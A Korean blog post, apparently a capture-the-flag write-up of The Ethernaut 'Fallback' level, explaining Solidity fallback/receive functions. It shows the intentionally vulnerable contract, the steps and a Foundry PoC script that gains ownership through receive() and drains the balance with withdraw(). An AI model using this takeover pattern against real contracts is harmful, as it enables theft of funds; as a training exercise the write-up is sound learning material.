The Ethernaut : Fallback

세인·2025년 12월 2일

fallback / receive는

어떤 함수랑도 매칭 안 될 때, 또는 그냥 돈만 보내졌을 때 대신 실행되는 함수

문제 코드

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether); //돈은 0.001 ether보다 적게 보내야함
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;  //msg.sender의 돈이 owner보다 많아야 함
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
		    //value에 0이상, 아까 msg.sender에 0원 이상 있을 때 sender가 owner가 됨
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

로직 정리

  1. contribute()함수를 호출해서 msg.value를 0.01 ether이하로 설정해서 돈을 보냄
  2. payable(target).call{value: ...}("")
    → 함수 시그니처 없이 그냥 이더 전송 → receive() (or fallback) 호출
  • fallback/receive매칭되는 함수가 없을 때 대신 실행되는 엔트리이다.
  1. sender가 owner가 됨 → withdraw 함수 호출 가능
  2. withdraw 함수를 호출하여 잔고를 0원으로 만들면 문제 해결

명령어 템플릿

forge script ./Counter.s.sol:PoC  --rpc-url $RPC_URL --broadcast -vvvv

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {Counter} from "../src/Counter.sol";
import {Fallback} from "../src/Fallback.sol";

contract PoC is Script {
    Counter public counter;
    address public target = 0x24717B787DB7FC54936E6291311567e0C4147B27;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);
        console.log(target.balance);
        
        //contributions[msg.sender] > 0 만족 시키기 위한 초기 설정
        Fallback(payable(target)).contribute{value: 0.0001 ether}(); 
        
        //그냥 call하면 recieve() 함수가 불러와짐
        payable(target).call{value: 0.0001 ether}("");
        
        //잔고 0원 만들기 조건
        Fallback(payable(target)).withdraw();

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글